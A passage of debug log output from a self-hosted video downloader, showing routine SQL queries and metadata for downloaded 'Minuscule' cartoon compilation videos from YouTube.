'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89025] 00:51:02.223 [debug] Current batch of media processed. Will check again in 1000ms 00:51:03.224 [debug] Current batch of media processed. Will check again in 1000ms 00:51:04.225 [debug] Current batch of media processed. Will check again in 1000ms 00:51:05.226 [debug] Current batch of media processed. Will check again in 1000ms 00:51:06.227 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | City Caterpillar And Butterfly Of The Fields | S01E30\r\n00:04:41 | The Apple Of Concord | S01E36\r\n00:09:26 | The Caterpillar Who Wanted To See The Ocean | S01E29\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Caterpillar #Butterfly #Countryside #Transformation #caterpillar #friendship #apple #adventure #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 946, "filename" => "/downloads/Miniscule Season 1/2025-02-18 City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation/City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation [cgUR1E-aDWM].mkv", "id" => "cgUR1E-aDWM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cgUR1E-aDWM", "playlist_index" => 63, "timestamp" => 1739862043, "title" => "City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation", "upload_date" => "20250218"} 00:51:06.228 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=767.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:06.229 [debug] QUERY OK source="sources" db=0.4ms idle=583.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:06.231 [debug] QUERY OK source="media_items" db=1.0ms idle=584.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-18 07:00:43Z], 4] 00:51:07.621 [debug] QUERY OK source="media_items" db=1389.5ms idle=586.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | City Caterpillar And Butterfly Of The Fields | S01E30\r\n00:04:41 | The Apple Of Concord | S01E36\r\n00:09:26 | The Caterpillar Who Wanted To See The Ocean | S01E29\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Caterpillar #Butterfly #Countryside #Transformation #caterpillar #friendship #apple #adventure #Minuscule #nature #insects #ladybugs #animatedseries", "City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation", "6c15e62a-8dcc-46da-b3a2-91e3e90a2046", "cgUR1E-aDWM", 946, false, 4, "https://www.youtube.com/watch?v=cgUR1E-aDWM", 63, "/downloads/Miniscule Season 1/2025-02-18 City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation/City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation [cgUR1E-aDWM].mkv", false, false, false, [], 1, ~U[2025-02-18 07:00:43Z], ~U[2025-12-14 07:51:06Z], ~U[2025-12-14 07:51:06Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | City Caterpillar And Butterfly Of The Fields | S01E30\r\n00:04:41 | The Apple Of Concord | S01E36\r\n00:09:26 | The Caterpillar Who Wanted To See The Ocean | S01E29\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Caterpillar #Butterfly #Countryside #Transformation #caterpillar #friendship #apple #adventure #Minuscule #nature #insects #ladybugs #animatedseries", "City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation", "cgUR1E-aDWM", 946, false, 4, "https://www.youtube.com/watch?v=cgUR1E-aDWM", "/downloads/Miniscule Season 1/2025-02-18 City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation/City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation [cgUR1E-aDWM].mkv", false, ~U[2025-02-18 07:00:43Z]] 00:51:07.622 [debug] QUERY OK source="sources" db=0.3ms idle=1392.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:07.622 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1391.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:07.623 [debug] QUERY OK source="media_items" db=0.4ms idle=1160.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89027] 00:51:07.623 [debug] Current batch of media processed. Will check again in 1000ms 00:51:08.625 [debug] Current batch of media processed. Will check again in 1000ms 00:51:09.626 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Bee’s Night Out | S01E51\n00:04:47 | Convoy | S01E10\n00:09:29 | Hyperactive | S01E54\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #night #lost #home #hive #convoy #honey #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 883, "filename" => "/downloads/Miniscule Season 1/2025-02-13 A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation/A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation [Q9pumNcvtfA].mkv", "id" => "Q9pumNcvtfA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Q9pumNcvtfA", "playlist_index" => 64, "timestamp" => 1739444490, "title" => "A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation", "upload_date" => "20250213"} 00:51:09.627 [debug] QUERY OK source="sources" db=0.3ms idle=981.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:09.628 [debug] QUERY OK source="sources" db=0.3ms idle=982.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:09.629 [debug] QUERY OK source="media_items" db=1.0ms idle=983.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 11:01:30Z], 4] 00:51:09.677 [debug] QUERY OK source="media_items" db=47.0ms idle=984.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Bee’s Night Out | S01E51\n00:04:47 | Convoy | S01E10\n00:09:29 | Hyperactive | S01E54\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #night #lost #home #hive #convoy #honey #Minuscule #nature #insects #ladybugs #animatedseries", "A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation", "44daa075-a9a8-404a-abbb-46a542fd00f4", "Q9pumNcvtfA", 883, false, 4, "https://www.youtube.com/watch?v=Q9pumNcvtfA", 64, "/downloads/Miniscule Season 1/2025-02-13 A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation/A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation [Q9pumNcvtfA].mkv", false, false, false, [], 1, ~U[2025-02-13 11:01:30Z], ~U[2025-12-14 07:51:09Z], ~U[2025-12-14 07:51:09Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Bee’s Night Out | S01E51\n00:04:47 | Convoy | S01E10\n00:09:29 | Hyperactive | S01E54\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #night #lost #home #hive #convoy #honey #Minuscule #nature #insects #ladybugs #animatedseries", "A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation", "Q9pumNcvtfA", 883, false, 4, "https://www.youtube.com/watch?v=Q9pumNcvtfA", "/downloads/Miniscule Season 1/2025-02-13 A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation/A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation [Q9pumNcvtfA].mkv", false, ~U[2025-02-13 11:01:30Z]] 00:51:09.678 [debug] QUERY OK source="sources" db=0.5ms idle=209.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:09.679 [debug] QUERY OK source="media_profiles" db=0.5ms idle=51.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:09.680 [debug] QUERY OK source="media_items" db=0.6ms idle=51.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89029] 00:51:09.680 [debug] Current batch of media processed. Will check again in 1000ms 00:51:10.681 [debug] Current batch of media processed. Will check again in 1000ms 00:51:11.682 [debug] Current batch of media processed. Will check again in 1000ms 00:51:12.683 [debug] Current batch of media processed. Will check again in 1000ms 00:51:13.684 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Persevering One | S01E31\r\n00:04:40 | Windswept | S01E68\r\n00:09:28 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Perseverance #Spider #Chase #Courage #Windswept #fly #spider #fan #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 905, "filename" => "/downloads/Miniscule Season 1/2025-02-06 The Persevering One 🕷️ Minuscule 🍃| 20' Compilation/The Persevering One 🕷️ Minuscule 🍃| 20' Compilation [nU2y9djZdyI].mkv", "id" => "nU2y9djZdyI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nU2y9djZdyI", "playlist_index" => 65, "timestamp" => 1738839684, "title" => "The Persevering One 🕷️ Minuscule 🍃| 20' Compilation", "upload_date" => "20250206"} 00:51:13.685 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=208.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:51:13.686 [debug] QUERY OK source="sources" db=0.3ms idle=40.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:13.687 [debug] QUERY OK source="media_items" db=1.0ms idle=41.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-06 11:01:24Z], 4] 00:51:13.700 [debug] QUERY OK source="media_items" db=12.1ms idle=42.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Persevering One | S01E31\r\n00:04:40 | Windswept | S01E68\r\n00:09:28 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Perseverance #Spider #Chase #Courage #Windswept #fly #spider #fan #Minuscule #nature #insects #ladybugs #animatedseries", "The Persevering One 🕷️ Minuscule 🍃| 20' Compilation", "f22a105b-eec1-4701-8a34-2bce870bdc1f", "nU2y9djZdyI", 905, false, 4, "https://www.youtube.com/watch?v=nU2y9djZdyI", 65, "/downloads/Miniscule Season 1/2025-02-06 The Persevering One 🕷️ Minuscule 🍃| 20' Compilation/The Persevering One 🕷️ Minuscule 🍃| 20' Compilation [nU2y9djZdyI].mkv", false, false, false, [], 1, ~U[2025-02-06 11:01:24Z], ~U[2025-12-14 07:51:13Z], ~U[2025-12-14 07:51:13Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Persevering One | S01E31\r\n00:04:40 | Windswept | S01E68\r\n00:09:28 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Perseverance #Spider #Chase #Courage #Windswept #fly #spider #fan #Minuscule #nature #insects #ladybugs #animatedseries", "The Persevering One 🕷️ Minuscule 🍃| 20' Compilation", "nU2y9djZdyI", 905, false, 4, "https://www.youtube.com/watch?v=nU2y9djZdyI", "/downloads/Miniscule Season 1/2025-02-06 The Persevering One 🕷️ Minuscule 🍃| 20' Compilation/The Persevering One 🕷️ Minuscule 🍃| 20' Compilation [nU2y9djZdyI].mkv", false, ~U[2025-02-06 11:01:24Z]] 00:51:13.701 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=55.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:51:13.702 [debug] QUERY OK source="media_profiles" db=0.3ms idle=16.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:51:13.703 [debug] QUERY OK source="media_items" db=0.5ms idle=16.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89031] 00:51:13.703 [debug] Current batch of media processed. Will check again in 1000ms 00:51:14.704 [debug] Current batch of media processed. Will check again in 1000ms 00:51:15.705 [debug] Current batch of media processed. Will check again in 1000ms 00:51:16.706 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Hat Of The Medusa | S02E17\r\n00:03:45 | Brushing | S02E46\r\n00:07:10 | Bzzaping | S02E03\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: 